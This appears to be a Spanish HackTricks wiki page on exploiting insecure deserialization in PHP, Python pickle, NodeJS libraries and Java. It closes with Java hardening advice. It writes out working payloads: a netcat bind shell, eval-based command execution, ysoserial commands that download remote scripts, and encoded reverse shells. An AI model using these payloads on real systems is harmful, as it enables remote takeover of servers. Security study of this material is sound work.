# Deserialización
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
**Serialización** es el proceso de convertir un objeto en un formato de datos que se puede restaurar más tarde. A menudo, las personas serializan objetos para guardarlos en el almacenamiento o para enviarlos como parte de las comunicaciones. **Deserialización** es el proceso inverso de ese proceso, tomando datos estructurados de algún formato y reconstruyéndolos en un objeto. Hoy en día, el formato de datos más popular para serializar datos es JSON. Antes de eso, era XML. En muchas ocasiones, puede encontrar algún código en el lado del servidor que deserializa algún objeto proporcionado por el usuario.\ En este caso, puede enviar una carga útil maliciosa para hacer que el lado del servidor se comporte de manera inesperada. **Deberías leer:** [**https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html) **para aprender cómo atacar.** ## PHP Método mágico utilizado con la serialización: * `__sleep` se llama cuando se serializa un objeto y debe devolverse a una matriz. Método mágico utilizado con la deserialización: * `__wakeup` se llama cuando se deserializa un objeto. * `__unserialize` se llama en lugar de `__wakeup` si existe. * `__destruct` se llama cuando el script PHP termina y el objeto se destruye. * `__toString` utiliza el objeto como cadena, pero también se puede usar para leer archivos o más que eso basado en la llamada de función dentro de él. ```php s.'
'; } public function __toString() { echo '__toString method called'; } public function __construct(){ echo "__construct method called"; } public function __destruct(){ echo "__destruct method called"; } public function __wakeup(){ echo "__wakeup method called"; } public function __sleep(){ echo "__sleep method called"; return array("s"); #The "s" makes references to the public attribute } } $o = new test(); $o->displaystring(); $ser=serialize($o); echo $ser; $unser=unserialize($ser); $unser->displaystring(); /* php > $o = new test(); __construct method called __destruct method called php > $o->displaystring(); This is a test
php > $ser=serialize($o); __sleep method called php > echo $ser; O:4:"test":1:{s:1:"s";s:14:"This is a test";} php > $unser=unserialize($ser); __wakeup method called __destruct method called php > $unser->displaystring(); This is a test
*/ ?> ``` Si observas los resultados, puedes ver que las funciones **`__wakeup`** y **`__destruct`** se llaman cuando se deserializa el objeto. Ten en cuenta que en varios tutoriales encontrarás que la función **`__toString`** se llama al intentar imprimir algún atributo, pero aparentemente eso **ya no sucede**. {% hint style="warning" %} El método **`__unserialize(array $data)`** se llama **en lugar de `__wakeup()`** si está implementado en la clase. Te permite deserializar el objeto proporcionando los datos serializados como un array. Puedes usar este método para deserializar propiedades y realizar cualquier tarea necesaria al deserializar. ```php phpCopy codeclass MyClass { private $property; public function __unserialize(array $data): void { $this->property = $data['property']; // Perform any necessary tasks upon deserialization. } } ``` {% endhint %} Puedes leer un ejemplo **explicado en PHP aquí**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), aquí [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) o aquí [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) ### PHP Deserial + Autoload Classes Podrías abusar de la funcionalidad de carga automática de PHP para cargar archivos php arbitrarios y más: {% content-ref url="php-deserialization-+-autoload-classes.md" %} [php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md) {% endcontent-ref %} ### Serializando valores referenciados Si por alguna razón deseas serializar un valor como una **referencia a otro valor serializado**, puedes hacerlo: ```php param1 =& $o->param22; $o->param = "PARAM"; $ser=serialize($o); ``` ### PHPGGC (ysoserial para PHP) [**PHPGCC**](https://github.com/ambionics/phpggc) puede ayudarte a generar payloads para abusar de las deserializaciones de PHP.\ Ten en cuenta que en varios casos **no podrás encontrar una forma de abusar de una deserialización en el código fuente** de la aplicación, pero podrías ser capaz de **abusar del código de extensiones PHP externas.**\ Por lo tanto, si puedes, revisa la `phpinfo()` del servidor y **busca en internet** (incluso en los **gadgets** de **PHPGCC**) algún posible gadget que puedas abusar. ### Deserialización de metadatos phar:// Si has encontrado una LFI que solo lee el archivo y no ejecuta el código php dentro de él, por ejemplo usando funciones como _**file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**_**.** Puedes intentar abusar de una **deserialización** que ocurre cuando se **lee** un **archivo** usando el protocolo **phar**.\ Para obtener más información, lee el siguiente post: {% content-ref url="../file-inclusion/phar-deserialization.md" %} [phar-deserialization.md](../file-inclusion/phar-deserialization.md) {% endcontent-ref %} ## Python ### **Pickle** Cuando el objeto se deserializa, se ejecutará la función _\_\_reduce\_\__.\ Cuando se explota, el servidor podría devolver un error. ```python import pickle, os, base64 class P(object): def __reduce__(self): return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",)) print(base64.b64encode(pickle.dumps(P()))) ``` Para obtener más información sobre cómo escapar de las **cárceles de pickle**, consulte: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) {% endcontent-ref %} ### Yaml **&** jsonpickle La siguiente página presenta la técnica para **abusar de una deserialización insegura en las bibliotecas de Python yaml** y finaliza con una herramienta que se puede utilizar para generar una carga útil de deserialización RCE para **Pickle, PyYAML, jsonpickle y ruamel.yaml**: {% content-ref url="python-yaml-deserialization.md" %} [python-yaml-deserialization.md](python-yaml-deserialization.md) {% endcontent-ref %} ### Contaminación de Clases (Python Prototype Pollution) {% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} [class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md) {% endcontent-ref %} ## NodeJS ### Funciones Mágicas de JS JS **no tiene funciones "mágicas"** como PHP o Python que se van a ejecutar solo para crear un objeto. Pero tiene algunas **funciones** que se **utilizan con frecuencia incluso sin llamarlas directamente** como **`toString`**, **`valueOf`**, **`toJSON`**.\ Si se abusa de una deserialización, se puede **comprometer estas funciones para ejecutar otro código** (potencialmente abusando de la contaminación de prototipos) y se podría ejecutar código arbitrario cuando se llamen. Otra forma **"mágica" de llamar a una función** sin llamarla directamente es **comprometer un objeto que es devuelto por una función asíncrona** (promesa). Porque, si **transforma** ese **objeto de retorno** en otra **promesa** con una **propiedad** llamada **"then" de tipo función**, se **ejecutará** solo porque es devuelto por otra promesa. _Siga_ [_**este enlace**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _para obtener más información._ ```javascript // If you can compromise p (returned object) to be a promise // it will be executed just because it's the return object of an async function: async function test_resolve() { const p = new Promise(resolve => { console.log('hello') resolve() }) return p } async function test_then() { const p = new Promise(then => { console.log('hello') return 1 }) return p } test_ressolve() test_then() //For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/ ``` ### Contaminación de `__proto__` y `prototype` Si deseas aprender sobre esta técnica, **echa un vistazo al siguiente tutorial**: {% content-ref url="nodejs-proto-prototype-pollution/" %} [nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/) {% endcontent-ref %} ### [node-serialize](https://www.npmjs.com/package/node-serialize) Esta biblioteca permite serializar funciones. Ejemplo: ```javascript var y = { "rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}, } var serialize = require('node-serialize'); var payload_serialized = serialize.serialize(y); console.log("Serialized: \n" + payload_serialized); ``` El **objeto serializado** se verá así: ```bash {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} ``` En el ejemplo se puede ver que cuando se serializa una función se agrega la bandera `_$$ND_FUNC$$_` al objeto serializado. Dentro del archivo `node-serialize/lib/serialize.js` se puede encontrar la misma bandera y cómo el código la utiliza. ![](<../../.gitbook/assets/image (297).png>) ![](<../../.gitbook/assets/image (298).png>) Como se puede ver en el último fragmento de código, **si se encuentra la bandera** se utiliza `eval` para deserializar la función, por lo que básicamente **la entrada del usuario se está utilizando dentro de la función `eval`**. Sin embargo, **solo serializar** una función **no la ejecutará**, ya que sería necesario que alguna parte del código esté **llamando a `y.rce`** en nuestro ejemplo y eso es muy **improbable**.\ De todos modos, se podría **modificar el objeto serializado** **agregando algunos paréntesis** para que se ejecute automáticamente la función serializada cuando se deserialice el objeto.\ En el siguiente fragmento de código, **observe el último paréntesis** y cómo la función `unserialize` ejecutará automáticamente el código: ```javascript var serialize = require('node-serialize'); var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"}; serialize.unserialize(test); ``` Como se indicó anteriormente, esta biblioteca obtendrá el código después de `_$$ND_FUNC$$_` y lo **ejecutará** usando `eval`. Por lo tanto, para **auto-ejecutar código**, puede **eliminar la creación de la función** y el último paréntesis y **simplemente ejecutar un comando JS** en una sola línea como en el siguiente ejemplo: ```javascript var serialize = require('node-serialize'); var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}'; serialize.unserialize(test); ``` Puedes [**encontrar aquí**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **más información** sobre cómo explotar esta vulnerabilidad. ### [funcster](https://www.npmjs.com/package/funcster) La diferencia interesante aquí es que los **objetos integrados estándar no son accesibles**, porque están fuera de alcance. Esto significa que podemos ejecutar nuestro código, pero no podemos llamar a los métodos de los objetos integrados. Por lo tanto, si usamos `console.log()` o `require(something)`, Node devuelve una excepción como `"ReferenceError: console is not defined"`. Sin embargo, podemos recuperar fácilmente el acceso a todo porque todavía tenemos acceso al contexto global usando algo como `this.constructor.constructor("console.log(1111)")();`: ```javascript funcster = require("funcster"); //Serialization var test = funcster.serialize(function() { return "Hello world!" }) console.log(test) // { __js_function: 'function(){return"Hello world!"}' } //Deserialization with auto-execution var desertest1 = { __js_function: 'function(){return "Hello world!"}()' } funcster.deepDeserialize(desertest1) var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' } funcster.deepDeserialize(desertest2) var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' } funcster.deepDeserialize(desertest3) ``` **Para obtener más información, lee esta página.** ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) El paquete **no incluye ninguna funcionalidad de deserialización** y requiere que la implementes tú mismo. Su ejemplo utiliza `eval` directamente. Este es el ejemplo oficial de deserialización: ```javascript function deserialize(serializedJavascript){ return eval('(' + serializedJavascript + ')'); } ``` Si esta función se utiliza para deserializar objetos, se puede **explotar fácilmente**: ```javascript var serialize = require('serialize-javascript'); //Serialization var test = serialize(function() { return "Hello world!" }); console.log(test) //function() { return "Hello world!" } //Deserialization var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()" deserialize(test) ``` ### Biblioteca Cryo En las siguientes páginas puedes encontrar información sobre cómo abusar de esta biblioteca para ejecutar comandos arbitrarios: * [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/) * [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418) ## Java - HTTP El principal problema con los objetos deserializados en Java es que **los callbacks de deserialización se invocaron durante la deserialización**. Esto hace posible que un **atacante** **aproveche esos callbacks** y prepare una carga útil que abuse de los callbacks para **realizar acciones maliciosas**. ### Huellas digitales #### Caja blanca Busca dentro del código las clases y funciones de serialización. Por ejemplo, busca clases que implementen `Serializable`, el uso de `java.io.ObjectInputStream` o las funciones `readObject` o `readUnshare`. También debes estar atento a: * `XMLdecoder` con parámetros definidos por el usuario externo * `XStream` con el método `fromXML` (la versión xstream <= v1.46 es vulnerable al problema de serialización) * `ObjectInputStream` con `readObject` * Usos de `readObject`, `readObjectNodData`, `readResolve` o `readExternal` * `ObjectInputStream.readUnshared` * `Serializable` #### Caja negra **Huellas digitales/Bytes mágicos** de objetos **serializados de Java** (de `ObjectInputStream`): * `AC ED 00 05` en Hex * `rO0` en Base64 * Encabezado `Content-type` de una respuesta HTTP establecido en `application/x-java-serialized-object` * `1F 8B 08 00` Hex previamente comprimido * `H4sIA` Base64 previamente comprimido * Archivos web con extensión `.faces` y parámetro `faces.ViewState`. Si encuentras esto en una aplicación web, echa un vistazo al [**post sobre la deserialización de Java JSF VewState**](java-jsf-viewstate-.faces-deserialization.md). ``` javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s ``` ### Comprobar si es vulnerable Si quieres **aprender cómo funciona una explotación de deserialización de Java**, deberías echar un vistazo a [**Deserialización básica de Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialización de DNS de Java**](java-dns-deserialization-and-gadgetprobe.md) y [**Carga útil de CommonsCollection1**](java-transformers-to-rutime-exec-payload.md). #### Prueba de caja blanca Puedes comprobar si hay alguna aplicación instalada con vulnerabilidades conocidas. ```bash find . -iname "*commons*collection*" grep -R InvokeTransformer . ``` Puedes intentar **verificar todas las bibliotecas** conocidas por ser vulnerables y que [**Ysoserial**](https://github.com/frohoff/ysoserial) pueda proporcionar una explotación. O puedes verificar las bibliotecas indicadas en [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\ También puedes usar [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) para buscar posibles cadenas de gadgets que puedan ser explotadas.\ Al ejecutar **gadgetinspector** (después de construirlo), no te preocupes por las toneladas de advertencias/errores que está pasando y déjalo terminar. Escribirá todos los hallazgos en _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Ten en cuenta que **gadgetinspector no creará una explotación y puede indicar falsos positivos**. #### Prueba de caja negra Usando la extensión de Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) puedes identificar **qué bibliotecas están disponibles** (e incluso las versiones). Con esta información, podría ser **más fácil elegir una carga útil** para explotar la vulnerabilidad.\ [**Lee esto para aprender más sobre GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ GadgetProbe se centra en las deserializaciones de \*\* `ObjectInputStream` \*\*.\*\*.\*\* Usando la extensión de Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) puedes **identificar bibliotecas vulnerables** explotables con ysoserial y **explotarlas**.\ [**Lee esto para aprender más sobre Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ Java Deserialization Scanner se centra en las deserializaciones de **`ObjectInputStream`**. También puedes usar [**Freddy**](https://github.com/nccgroup/freddy) para **detectar vulnerabilidades de deserialización** en **Burp**. Este complemento detectará vulnerabilidades relacionadas no solo con `ObjectInputStream`, sino también con las bibliotecas de deserialización de **Json** y **Yml**. En modo activo, intentará confirmarlos utilizando cargas útiles de sueño o DNS.\ [**Puedes encontrar más información sobre Freddy aquí.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) #### Prueba de serialización No todo se trata de verificar si el servidor utiliza alguna biblioteca vulnerable. A veces, puedes ser capaz de **cambiar los datos dentro del objeto serializado y pasar por alto algunas comprobaciones** (quizás otorgarte privilegios de administrador dentro de una aplicación web).\ Si encuentras un objeto serializado de Java que se envía a una aplicación web, **puedes usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir en un formato más legible para humanos el objeto de serialización que se envía**. Saber qué datos estás enviando sería más fácil para modificarlos y pasar por alto algunas comprobaciones. ### **Explotación** #### **ysoserial** La herramienta más conocida para explotar deserializaciones de Java es [**ysoserial**](https://github.com/frohoff/ysoserial) ([**descarga aquí**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). También puedes considerar usar [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), que te permitirá usar comandos complejos (con tuberías, por ejemplo).\ Ten en cuenta que esta herramienta se **centra** en explotar **`ObjectInputStream`**.\ Yo **comenzaría usando la carga útil "URLDNS"** antes de una carga útil RCE para probar si la inyección es posible. De todos modos, ten en cuenta que tal vez la carga útil "URLDNS" no esté funcionando, pero otra carga útil RCE sí. ```bash # PoC to make the application perform a DNS req java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload # PoC RCE in Windows # Ping java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload # Time, I noticed the response too longer when this was used java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload # Create File java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload # DNS request java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net" # HTTP request (+DNS) java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a" java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA" ## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a') ## To encode something in Base64 for Windows PS from linux you can use: echo -n "" | iconv --to-code UTF-16LE | base64 -w0 # Reverse Shell ## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1') java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA" #PoC RCE in Linux # Ping java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload # Time ## Using time in bash I didn't notice any difference in the timing of the response # Create file java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload # DNS request java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" # HTTP request (+DNS) java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" # Reverse shell ## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0 ## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}" # Base64 encode payload in base64 base64 -w0 payload ``` Al crear un payload para **java.lang.Runtime.exec()**, **no se pueden usar caracteres especiales** como ">" o "|" para redirigir la salida de una ejecución, "$()" para ejecutar comandos o incluso **pasar argumentos** a un comando separados por **espacios** (puedes hacer `echo -n "hello world"` pero no puedes hacer `python2 -c 'print "Hello world"'`). Para codificar correctamente el payload, puedes [usar esta página web](http://www.jackson-t.ca/runtime-exec-payloads.html). Siéntete libre de usar el siguiente script para crear **todos los posibles payloads de ejecución de código** para Windows y Linux y luego probarlos en la página web vulnerable: ```python import os import base64 # You may need to update the payloads payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1'] def generate(name, cmd): for payload in payloads: final = cmd.replace('REPLACE', payload) print 'Generating ' + payload + ' for ' + name + '...' command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"') result = command.read() command.close() encoded = base64.b64encode(result) if encoded != "": open(name + '_intruder.txt', 'a').write(encoded + '\n') generate('Windows', 'ping -n 1 win.REPLACE.server.local') generate('Linux', 'ping -c 1 nix.REPLACE.server.local') ``` #### serialkillerbypassgadgets Puedes **usar** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **junto con ysoserial para crear más exploits**. Más información sobre esta herramienta en las **diapositivas de la charla** donde se presentó la herramienta: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1) #### marshalsec [**marshalsec** ](https://github.com/mbechler/marshalsec)se puede utilizar para generar payloads y explotar diferentes bibliotecas de serialización **Json** y **Yml** en Java.\ Para compilar el proyecto, necesité **añadir** estas **dependencias** al archivo `pom.xml`: ```markup javax.activation activation 1.1.1 com.sun.jndi rmiregistry 1.2.1 pom ``` **Instalar maven**, y **compilar** el proyecto: ```bash sudo apt-get install maven mvn clean package -DskipTests ``` #### FastJSON Lee más sobre esta biblioteca Java JSON en: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) ### Laboratorios * Si quieres probar algunos payloads de ysoserial, puedes **ejecutar esta aplicación web**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) * [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) ### Por qué Java AMA enviar objetos serializados por todas partes. Por ejemplo: * En **solicitudes HTTP** - Parámetros, ViewState, Cookies, lo que sea. * **RMI** - El protocolo Java RMI ampliamente utilizado se basa al 100% en la serialización. * **RMI sobre HTTP** - Muchas aplicaciones web de cliente grueso Java usan esto, nuevamente objetos 100% serializados. * **JMX** - De nuevo, se basa en objetos serializados que se envían por la red. * **Protocolos personalizados** - Enviar y recibir objetos Java sin procesar es la norma, lo que veremos en algunos de los exploits que vendrán. ### Prevención #### Objetos transitorios Una clase que implementa `Serializable` puede implementar como `transient` cualquier objeto dentro de la clase que no deba ser serializable. Por ejemplo: ```java public class myAccount implements Serializable { private transient double profit; // declared transient private transient double margin; // declared transient ``` #### Evita la serialización de una clase que necesita implementar Serializable Algunos de los objetos de tu aplicación pueden verse obligados a implementar `Serializable` debido a su jerarquía. Para garantizar que tus objetos de aplicación no puedan ser deserializados, se debe declarar un método `readObject()` (con un modificador `final`) que siempre lance una excepción: ```java private final void readObject(ObjectInputStream in) throws java.io.IOException { throw new java.io.IOException("Cannot be deserialized"); } ``` #### Verificar la clase deserializada antes de deserializarla La clase `java.io.ObjectInputStream` se utiliza para deserializar objetos. Es posible endurecer su comportamiento mediante la creación de una subclase. Esta es la mejor solución si: * Puedes cambiar el código que realiza la deserialización * Conoces las clases que esperas deserializar La idea general es sobrescribir [`ObjectInputStream.html#resolveClass()`](https://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass\(java.io.ObjectStreamClass\)) para restringir qué clases se permiten deserializar. Debido a que esta llamada ocurre antes de que se llame a un `readObject()`, puedes estar seguro de que no ocurrirá ninguna actividad de deserialización a menos que el tipo sea uno que desees permitir. Un ejemplo simple de esto se muestra aquí, donde la clase `LookAheadObjectInputStream` está garantizada para no deserializar ningún otro tipo que no sea la clase `Bicycle`: ```java public class LookAheadObjectInputStream extends ObjectInputStream { public LookAheadObjectInputStream(InputStream inputStream) throws IOException { super(inputStream); } /** * Only deserialize instances of our expected Bicycle class */ @Override protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().equals(Bicycle.class.getName())) { throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName()); } return super.resolveClass(desc); } } ``` **Fortalecer todo el uso de java.io.ObjectInputStream con un Agente** Si no eres dueño del código o no puedes esperar por un parche, usar un agente para tejer fortalecimiento en `java.io.ObjectInputStream` es la mejor solución.\ Usando este enfoque solo puedes poner en lista negra tipos maliciosos conocidos y no ponerlos en lista blanca ya que no sabes qué objetos están siendo serializados. Para habilitar estos agentes, simplemente agrega un nuevo parámetro JVM: ``` -javaagent:name-of-agent.jar ``` Ejemplo: [rO0 por Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) ### Referencias * Charla sobre deserialización y ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) * [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) * [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ) * Charla sobre gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) y diapositivas: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) * Documento de Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) * [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) * [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) * [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) * Documento sobre deserialización JSON de Java y .Net: 